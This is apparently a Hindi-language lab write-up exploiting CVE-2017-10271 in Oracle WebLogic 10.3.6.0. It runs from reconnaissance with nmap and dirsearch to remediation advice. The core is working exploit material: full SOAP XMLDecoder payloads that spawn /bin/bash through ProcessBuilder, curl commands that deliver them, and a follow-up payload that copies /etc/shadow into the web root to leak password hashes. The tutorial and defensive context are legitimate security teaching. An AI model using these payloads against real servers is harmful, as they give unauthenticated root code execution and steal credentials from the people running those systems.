
चरण-दर-चरण लैब गाइड CVE-2017-10271 (WebLogic XMLDecoder deserialization RCE) का शोषण करने के लिए, मैन्युअल पेलोड निर्माण, ब्लाइंड RCE बाईपास, और पोस्ट-एक्सप्लॉइटेशन तकनीकें जिसमें विशेषाधिकार सत्यापन और डेटा निष्कासन शामिल हैं।

AdminServer base_domain से संबंधित, Development Mode में चल रहा है)।7001।http, t3, iiop, ldap, snmp।7001 पर t3 प्रोटोकॉल को उजागर करती है। यह डिफ़ॉल्ट कॉन्फ़िगरेशन उच्च जोखिम वहन करता है यदि वेबलॉजिक संस्करण को RMI (रिमोट मेथड इनवोकेशन) के माध्यम से जावा ऑब्जेक्ट डिसीरियलाइज़ेशन से संबंधित कमजोरियों के विरुद्ध पैच नहीं किया गया है।7001 पर http प्रोटोकॉल पर चलता है, जो इसे /console/login/LoginForm.jsp जैसे संवेदनशील एंडपॉइंट के लिए निर्देशिका स्कैनिंग के प्रति संवेदनशील बनाता है।एक बार लक्ष्य के खुले पोर्ट की पहचान हो जाने के बाद, हम उसके चल रहे सेवा को निर्धारित करने के लिए पोर्ट को स्कैन करने के लिए nmap का उपयोग करेंगे।

इस प्रकार, लक्ष्य एक HTTP सेवा चला रहा है जिसका संस्करण Oracle WebLogic Server 10.3.6.0 है - एक प्रसिद्ध एंटरप्राइज़ जावा एप्लिकेशन सर्वर जो महत्वपूर्ण CVEs (जैसे डिसीरियलाइज़ेशन, प्रमाणीकरण बायपास) की एक श्रृंखला के लिए प्रसिद्ध है। हालाँकि, यह जानकारी अकेले यह निष्कर्ष निकालने के लिए पर्याप्त नहीं है कि सिस्टम किस विशिष्ट कमजोरी के प्रति संवेदनशील है। हमें साथ के वेब सेवा घटकों में गहराई से स्कैन करने की आवश्यकता है।
हम dirsearch टूल का उपयोग करके इसके संवेदनशील एंडपॉइंट की पहचान करने के लिए आगे बढ़ेंगे। चूँकि वेबलॉजिक जावा प्लेटफ़ॉर्म पर चलता है, .jsp और .xml फ़ाइलें सबसे संवेदनशील लक्ष्य हैं। हम 200 स्थिति कोड लौटाने वाले एंडपॉइंट पर ध्यान केंद्रित करेंगे।
dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

/console/login/LoginForm.jsp: वेबलॉजिक एडमिन कंसोल वेब इंटरफ़ेस का लॉगिन पोर्टल। यह डिफ़ॉल्ट क्रेडेंशियल ब्रूट-फोर्सिंग परिदृश्यों या प्रमाणीकरण बायपास कमजोरियों (जैसे CVE-2020-14882) के लिए एक महत्वपूर्ण लक्ष्य है।/bea_wls_internal/: वेबलॉजिक सर्वर की डिफ़ॉल्ट आंतरिक वेब एप्लिकेशन निर्देशिका। यह घटक स्थिर सिस्टम फ़ाइलों तक पहुँच और इंटरैक्शन की अनुमति देता है।/wls-wsat/CoordinatorPortType: यह सबसे महत्वपूर्ण खोज है। 200 OK स्थिति कोड के साथ इस पथ की उपस्थिति पुष्टि करती है कि वेब सर्विसेज़ एटॉमिक ट्रांज़ैक्शंस (wls-wsat) घटक सक्षम है और डेटा प्राप्त करने के लिए तैयार है।/uddiexplorer और /uddi/uddilistener: यह UDDI एक्सप्लोरर (यूनिवर्सल डिस्क्रिप्शन, डिस्कवरी, एंड इंटीग्रेशन) घटक है जो वेबलॉजिक सर्वर में वेब सेवाओं के प्रबंधन और पंजीकरण के लिए डिफ़ॉल्ट रूप से एकीकृत होता है। यह घटक SSRF (सर्वर-साइड रिक्वेस्ट फोर्जरी) - CVE-2014-4210 कमजोरी के लिए अत्यंत प्रसिद्ध है। एक हमलावर एंडपॉइंट /uddiexplorer/SearchPublicRegistries.jsp पर UDDI के सार्वजनिक रजिस्ट्री खोज इंटरफ़ेस का लाभ उठाकर वेबलॉजिक सर्वर को बैकएंड आंतरिक नेटवर्क पर मनमाने HTTP अनुरोध भेजने के लिए मजबूर कर सकता है।⇒ सोच: /wls-wsat (XMLDecoder के माध्यम से RCE जोखिम) और /uddiexplorer (SSRF जोखिम) का सह-अस्तित्व इंगित करता है कि इस वेबलॉजिक सर्वर की आक्रमण सतह अत्यंत व्यापक है।
वेबलॉजिक 10.3.6.0 सर्वर पर दो स्वतंत्र आक्रमण सतहों के सह-अस्तित्व की पहचान करने के बाद, हम दो दिशाओं का विश्लेषण करते हैं:
/uddiexplorer पर:
/wls-wsat पर:
⇒ निर्णय: साइबर अटैक चेन मॉडल में, RCE हमेशा अंतिम लक्ष्य होता है क्योंकि यह सिस्टम का प्रत्यक्ष और पूर्ण नियंत्रण (Full System Compromise) प्रदान करता है। एक बार RCE क्षमता प्राप्त हो जाने के बाद, UDDI एप्लिकेशन के माध्यम से SSRF का शोषण करना अनावश्यक हो जाता है। ऐसा इसलिए है क्योंकि RCE शेल से, हम UDDI इंटरफ़ेस के मापदंडों द्वारा प्रतिबंधित हुए बिना, सीधे, लचीले और अधिक शक्तिशाली तरीके (सिस्टम कमांड जैसे curl, wget का उपयोग करके) आंतरिक नेटवर्क क्वेरी सक्रिय रूप से कर सकते हैं।
इसलिए, शोषण प्राथमिकता तर्क के संदर्भ में, हम द्वितीयक पथ (SSRF /uddiexplorer पर) को बाहर करने और पूरी तरह से शोध पर ध्यान केंद्रित करने का निर्णय लेते हैं: /wls-wsat/CoordinatorPortType पर XMLDecoder डिसीरियलाइज़ेशन कमजोरी के माध्यम से रिमोट कोड निष्पादन (RCE)।
CVE-2017-10271 की मूल कमजोरी इसलिए होती है क्योंकि वेबलॉजिक का WorkContextXmlInputAdapter वर्ग <work:WorkContext> टैग में डेटा को पार्स करने के लिए java.beans.XMLDecoder ऑब्जेक्ट का उपयोग करता है। डिफ़ॉल्ट रूप से, यह XMLDecoder वर्ग स्वचालित रूप से XML टैग फॉर्म में परिभाषित किसी भी जावा क्लास को इंस्टेंशिएट करेगा। यहाँ से, हम चरण-दर-चरण सिस्टम व्यवहारिक इंटरैक्शन के आधार पर सत्यापन करते हैं।
इस सर्वलेट की वास्तविक सक्रिय स्थिति को जल्दी से सत्यापित करने के लिए, एक नियमित HTTP GET जांच अनुरोध भेजें:
curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType
प्रतिक्रिया HTTP/1.1 200 OK के साथ-साथ कार्यान्वयन वर्ग CoordinatorPortTypePortImpl लौटाती है, यह पुष्टि करते हुए कि सर्वलेट को JVM मेमोरी में सफलतापूर्वक लोड किया गया है।
चूँकि वेब सेवाओं के सर्वलेट्स को POST विधि के माध्यम से SOAP XML डेटा को संसाधित करने के लिए डिज़ाइन किया गया है, हम सिस्टम के डेटा प्रोसेसिंग पाइपलाइन को प्रदर्शित करने के लिए दो POST अनुरोधों के साथ तुलनात्मक परीक्षण करते हैं:
1. मानक SOAP POST अनुरोध
हम पार्सर की सामान्य पार्सिंग क्षमता का परीक्षण करने के लिए एक मानक SOAP XML एनवलप (पूर्ण नामस्थानों के साथ लेकिन निष्पादन सामग्री के बिना) भेजते हैं।
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

Cannot find dispatch method)।विश्लेषण:
सर्वर के पास POST पोर्ट पर एक अच्छी तरह से काम करने वाला XML रीडर है, जो उपयोगकर्ता द्वारा भेजे गए पूरे XML ट्री स्ट्रक्चर को प्राप्त करने और डिकोड करने के लिए तैयार है। यह पुष्टि करता है कि क्लाइंट से वेबलॉजिक की मेमोरी में गहराई तक डेटा पाइपलाइन पूरी तरह से चालू है।
2. दूषित XML POST अनुरोध
इसके बाद, हम पार्सर के अपवाद हैंडलिंग तंत्र का निरीक्षण करने के लिए जानबूझकर XML संरचना को तोड़ते हैं (जैसे, नामस्थानों को छोड़ना)।
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv" लौटाता है।विश्लेषण:
com.ctc.wstx) तक पार्सिंग के लिए भेजा जाता है।व्यावहारिक प्रयोगात्मक परिणामों और सिस्टम आर्किटेक्चर विश्लेषण का संयोजन - wls-wsat सर्वलेट द्वारा POST पोर्ट के माध्यम से कच्चे पैकेट प्राप्त करने से, पार्सर स्तर पर WAF/सैनिटी फ़िल्टर की कमी से, सीधे कच्चे जावा XML रीडर त्रुटियों को फेंकने तक - पुष्टि करता है कि सर्वर एक अत्यंत संवेदनशील सेवा संरचना चला रहा है जो सीधे CVE-2017-10271 (XMLDecoder डिसीरियलाइज़ेशन) के दायरे में आती है।
क्योंकि XMLDecoder के डिफ़ॉल्ट पार्सिंग तंत्र में कोई वर्ग नियंत्रण फ़िल्टर नहीं है, बिना सैनिटाइज़ेशन के कच्चे POST डेटा को प्राप्त करने वाला सर्वर एकदम सही द्वार है जो हमें अगले चरण में सीधे जावा सिस्टम निष्पादन ऑब्जेक्ट्स को आह्वान करने वाले पेलोड डिज़ाइन करने की अनुमति देता है।
चूँकि वेबलॉजिक 10.3.6.0 सर्वर एक पुराने जावा वातावरण पर चलता है और XMLDecoder के लिए सख्त वर्ग नियंत्रण फ़िल्टर लागू नहीं करता है, एक हमलावर सीधे निष्पादन योग्य जावा ऑब्जेक्ट इंजेक्ट कर सकता है।
जावा में कमांड निष्पादित करने के लिए मानक वर्ग java.lang.ProcessBuilder है। हम इस जावा ऑब्जेक्ट इनिशियलाइज़ेशन तर्क को XMLDecoder के अनुकूल XML प्रारूप में मैप करने के लिए आगे बढ़ते हैं:
<void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void method="start"/>जब ProcessBuilder के माध्यम से एक सिस्टम कमांड निष्पादित किया जाता है, तो वेबलॉजिक सर्वर OS पर पृष्ठभूमि में कमांड चलाता है और केवल HTTP 500 त्रुटि कोड लौटाता है (यह कमांड आउटपुट को सीधे HTTP प्रतिक्रिया स्क्रीन पर प्रिंट नहीं करता है)। इस तंत्र को वेब एप्लिकेशन मैपिंग कहा जाता है - सभी वेब सर्वर इस तरह काम करते हैं। war/ निर्देशिका उस एप्लिकेशन की डॉक्यूमेंट रूट होती है। war/ में स्थित कोई भी फ़ाइल एक छोटे URL के माध्यम से एक्सेस की जा सकती है।
⇒ ब्लाइंड RCE को बायपास करने के लिए, हमें भौतिक पथ खोजना होगा - क्योंकि id > ... कमांड ऑपरेटिंग सिस्टम पर चलता है, इसके लिए वास्तविक पथ की आवश्यकता होती है।
/war निर्देशिका खोजने के लिए व्हाइट-बॉक्स विश्लेषण
कंटेनर के अंदर लोड हो रहे bea_wls_internal एप्लिकेशन के वास्तविक भौतिक पथ को खोजने के लिए, हम होस्ट मशीन से सीधे एक सिस्टम खोज क्वेरी निष्पादित करते हैं:

परिणाम
/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (मूल संग्रह पुस्तकालय फ़ाइल)।/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (AdminServer के अस्थायी विभाजन _WL_internal में डीकंप्रेस्ड सक्रिय एप्लिकेशन निर्देशिका)। इस सक्रिय निर्देशिका में गहराई में जाने पर, हम स्थिर फ़ाइलों वाली उपनिर्देशिका ढूंढते हैं: /9j4dqk/war/। यह एप्लिकेशन का निरपेक्ष वेब रूट निर्देशिका है, जहाँ हमलावर के पास RCE निष्पादन परिणाम प्रदर्शित करने के लिए स्थिर फ़ाइलें लिखने की अनुमति है।सोच: उपरोक्त निर्देशिका में id के आउटपुट को एक स्थिर फ़ाइल rce.txt में रीडायरेक्ट करने के लिए एक कमांड डिज़ाइन करें: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt
उपरोक्त विश्लेषण से, हम जानते हैं कि जावा का XMLDecoder वर्ग स्वचालित रूप से XML टैग के रूप में परिभाषित किसी भी ऑब्जेक्ट को इंस्टेंशिएट और निष्पादित करेगा। जावा में ऑपरेटिंग सिस्टम कमांड को कॉल करने के लिए, मानक वर्ग java.lang.ProcessBuilder है।
समतुल्य जावा कोड से XMLDecoder XML संरचना में मैपिंग प्रक्रिया:
समतुल्य जावा कोड:
String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();
XMLDecoder XML टैग में मैपिंग:
काली लिनक्स मशीन पर पूर्ण SOAP संरचना वाली exploit.xml फ़ाइल बनाएँ:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
काली लिनक्स मशीन से, एक्सप्लॉइट पेलोड वाली XML फ़ाइल को लक्ष्य एंडपॉइंट पर भेजें:
curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d @exploit.xml

वेब रूट निर्देशिका में अभी बनाई गई स्थिर फ़ाइल rce.txt तक पहुँचें:
curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

सफल RCE शोषण। id कमांड का परिणाम पुष्टि करता है कि वेबलॉजिक प्रक्रिया root विशेषाधिकारों के तहत चल रही है।
id कमांड का निष्पादन परिणाम uid=0(root) लौटाता है। यह साबित करता है कि वेबलॉजिक सर्वर प्रक्रिया सीधे ऑपरेटिंग सिस्टम के सर्वोच्च root विशेषाधिकारों के साथ चल रही है। हमलावर को किसी अतिरिक्त विशेषाधिकार वृद्धि चरणों की आवश्यकता के बिना सिस्टम का पूर्ण नियंत्रण प्राप्त होता है।
एक हमलावर आसानी से /etc/shadow जैसी संवेदनशील सिस्टम फ़ाइलों को पढ़ सकता है। हम exploit_shadow.xml फ़ाइल बनाते हैं और इसे XML पेलोड के माध्यम से भेजते हैं ताकि वेबलॉजिक सर्वर इसे स्वचालित रूप से चलाए। यह सर्वर को फ़ाइल पढ़ने का आदेश देता है और इसे Document root निर्देशिका में निर्देशित करता है ताकि इसे बाहरी URL से एक्सेस किया जा सके।
cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
EOF
फिर, पेलोड भेजें और फ़ाइल को बाहर से पढ़ें:
curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml
curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

पूरी सिस्टम खाता सूची पासवर्ड हैश के साथ पूरी तरह से लीक हो गई है।
चूँकि कंटेनर एक पृथक आंतरिक नेटवर्क वातावरण (Docker होस्ट का NAT/Bridge) में चलता है, सीधे LAN के बाहर काली मशीन पर वापस एक रिवर्स कनेक्शन (Reverse Shell) स्थापित करने में रूटिंग बाधाओं का सामना करना पड़ सकता है। वास्तविक दुनिया के वातावरण (उत्पादन) में, हमलावर पूरी तरह से रिवर्स शेल स्थापित कर सकता है यदि सर्वर के पास आउटबाउंड इंटरनेट कनेक्शन हो।
हालाँकि, सीधे root विशेषाधिकारों के साथ रिमोट कोड निष्पादन (RCE) करने की क्षमता और वेब रूट के माध्यम से इंटरेक्टिव रूप से फ़ाइलों को पढ़ने/लिखने की क्षमता पूर्ण सिस्टम समझौते की पुष्टि करने के लिए पर्याप्त है।
इस वेबलॉजिक सिस्टम पर XMLDecoder डिसीरियलाइज़ेशन कमजोरी (CVE-2017-10271) का मूल्यांकन सबसे गंभीर जोखिम स्तर (Critical) पर किया गया है:
इस गंभीर सुरक्षा कमजोरी को पूरी तरह से ठीक करने के लिए, प्रशासकों को तुरंत निम्नलिखित उपायों को लागू करने की आवश्यकता है:
तत्काल प्राथमिकता (अल्पकालिक):
wls-wsat.war फ़ोल्डर को हटाने और इस आक्रमण सतह को पूरी तरह से हटाने के लिए सेवा को पुनरारंभ करने के लिए आगे बढ़ें।oracle) के तहत चलाने के लिए पुन: कॉन्फ़िगर करें, और कभी भी root विशेषाधिकारों के साथ प्रक्रिया न चलाएँ।दीर्घकालिक प्राथमिकता (रक्षा-गहराई):
/wls-wsat/ एंडपॉइंट पर POST अनुरोधों का पता लगाया जा सके और उन्हें अवरुद्ध किया जा सके जिनमें <java>, <object>, <void>, <class>, <method> जैसे XMLDecoder विशेषता वाले XML टैग हों।| जावा घटक | संगत XML टैग |
|---|
ProcessBuilder वर्ग घोषित करना | <void class="java.lang.ProcessBuilder"> |
पैरामीटर सरणी String[] | <array class="java.lang.String" length="3"> |
| सरणी तत्व (सूचकांक 0, 1, 2) | <void index="0"><string>...</string></void> |
.start() विधि को आमंत्रित करना | <void method="start"/> |
| मानदंड | मूल्यांकन | विवरण |
|---|
| CVSS स्कोर | 9.8 (गंभीर) | अत्यंत उच्च प्रभाव स्कोर। |
| प्रमाणीकरण | आवश्यक नहीं | शोषण के लिए किसी खाते या किसी प्रमाणीकरण की आवश्यकता नहीं है। |
| जटिलता | बहुत कम | केवल दुर्भावनापूर्ण SOAP XML पेलोड ले जाने वाला एक HTTP POST अनुरोध भेजने की आवश्यकता है। |
| प्राप्त विशेषाधिकार | root | सर्वोच्च सिस्टम विशेषाधिकारों के साथ कंटेनर का पूर्ण नियंत्रण प्राप्त होता है। |
| पार्श्व गति | उच्च | समझौता किए गए कंटेनर का उपयोग आंतरिक नेटवर्क के अन्य कंटेनरों और भौतिक होस्ट सर्वर पर हमला करने के लिए पिवट पॉइंट के रूप में किया जा सकता है। |